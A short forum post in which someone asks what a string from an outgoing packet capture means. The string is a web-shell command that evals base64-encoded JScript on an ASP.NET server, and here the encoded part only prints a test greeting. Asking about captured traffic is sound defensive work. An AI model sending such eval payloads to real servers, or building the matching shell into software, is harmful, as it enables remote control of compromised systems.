We found this in an outgoing packet capture

Can anyone help translate this?

=Response.Write("->|");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("UmVzcG9uc2UuV3JpdGUoIkhlbGxvIGhhb3JlbiIpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();